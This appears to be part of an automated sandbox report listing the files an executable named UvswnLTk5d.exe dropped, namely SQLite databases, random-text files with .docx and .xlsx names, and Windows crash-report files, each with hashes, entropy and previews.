SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAEBGHCFCAAFIECAFIII

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\ProgramData\EBAKEBAE

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBAAAKFCAFIIDHIDGHIECGDGID

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDBKJDGI

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHIEBAAKJDHIECAAFHCAECAFC

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJJJKEGHJKFHJKFHDHCFIJEGCA

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDDHMPCDUJ.xlsx

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\ProgramData\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\ProgramData\LTKMYBSEYZ.docx

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_UvswnLTk5d.exe_40c4cbc1e7e68f9b5ee8a3a354e75a1451eb173_ff7284e0_bc5e2775-ce80-4979-9f77-0f0621df618c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0554537910775388
Encrypted:	false
SSDEEP:	192:IDiqWOJm0UXj4edTjheZroZ2VbzuiFnZ24IO8PI:IOqWOTUXjZdTj70bzuiFnY4IO8P
MD5:	51209C60FC55DC7A2A483225F3B0C607
SHA1:	76002C85C397B4529A2D392598B3DEB73142B3C1
SHA-256:	CED58B0100F76660ACD2DB7F2E7993E99C7F3150B1B6050DFDEE2BEB9127FE05
SHA-512:	C3046A774565A79FAB86B76914A2F2D48C73C7D00550FD1BB7281884D85C11A87396FF87778D28AB99B1C8870A257F0AECA6676E7BD342A9AABA57B65D64C42B
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.7.8.0.3.4.5.8.2.0.7.6.8.3.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.7.8.0.3.4.5.8.8.3.2.6.7.7.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.c.5.e.2.7.7.5.-.c.e.8.0.-.4.9.7.9.-.9.f.7.7.-.0.f.0.6.2.1.d.f.6.1.8.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.3.b.0.c.0.5.5.-.1.f.8.b.-.4.8.7.1.-.8.e.3.9.-.a.a.5.0.d.8.e.0.b.7.c.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.U.v.s.w.n.L.T.k.5.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.0.c.-.0.0.0.1.-.0.0.1.4.-.1.1.7.e.-.8.6.a.b.8.3.9.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.b.e.9.0.2.3.7.e.6.3.0.b.2.0.b.7.9.2.e.0.6.e.6.c.0.2.8.5.6.9.3.0.0.0.0.f.f.f.f.!.0.0.0.0.5.1.9.1.6.0.f.c.2.c.2.b.8.2.2.6.4.4.e.3.7.d.1.f.f.9.e.6.5.a.8.6.9.a.2.c.8.2.7.8.!.U.v.s.w.n.L.T.k.5.d...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER944.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Apr 17 04:57:38 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	57194
Entropy (8bit):	2.6503632215720807
Encrypted:	false
SSDEEP:	384:BRlvZFk9yPXJ+dpRfyuyOUrnR5Y32D9N7oBBNF1xyVNpGL0m704E:LHFkcXUdpRqnTYo9FUBb1xy3pGtIn
MD5:	54D36B37D4A766ED9598C5ED09813E1A
SHA1:	BD7A2D9FEC4DD84EE170B498F69B4A7E46442CD0
SHA-256:	3965385D283433C63A014524069C617DBD9A2E0534C425A76A273C0452A48DA6
SHA-512:	6E39A6F1CAF97D9A5EB95CE2D996033228C3F3CFF2FB1C4EAB1B51E23AAEF423C0306D446B6F5685734F79C7B948AB4712F40CA8AA206C0C3753E32F7E5131EC
Malicious:	false
Preview:	MDMP..a..... ........V.f............4...........p...<...........:2..........T.......8...........T............S.............."...........$..............................................................................eJ......0%......GenuineIntel............T............V.f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA5E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8348
Entropy (8bit):	3.6988616604721214
Encrypted:	false
SSDEEP:	192:R6l7wVeJpQ76Ly6Y9FSU97qAgmfIOj42TupD+89b5tsfYzm:R6lXJpk6e6YPSU9ZgmfIOjvTU5mfB
MD5:	0466E81944E4D985B00C2DBCF2710CD9
SHA1:	961BE94B3791F6930180F2618B3952CAE6AE4FDA
SHA-256:	A68895FF211F444082107A0095A0BFE52B769B9869D9A73B37D45302421DD614
SHA-512:	B7083AB60B5E4BAFEF51F4562342105260CA4131C66F9B4CE30D3BF9E344638F03671C8DD5DEA885E27E7EAF220F5BB645B1C3D81FD435E697D746612971FAE8
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.9.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERABD.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.458245971008511
Encrypted:	false
SSDEEP:	48:cvIwWl8zs7Jg77aI9grWpW8VYGYm8M4JxAJWLF8+q8KoGC7z/ulujd:uIjfVI7Oa7ViJxAQaBo9vulujd
MD5:	9D33B2FA868C136164076AA05F3E04E6
SHA1:	579D000334B020A48DD3F55DE9D54003A3D34652
SHA-256:	8AEABF028F733DFEA3BC2E715BDF309A843200EA8085DA27050416BB8C6384A2
SHA-512:	5900B1CE6D0E2BAADA46C47F3AC9E048659F0E93D2F947B50BC28DD4B9E3E9A8CE744802A63C615ED60EC7578FE47F19C496B83747542AF1074D0D5DAAB1EDB0
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="283440" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
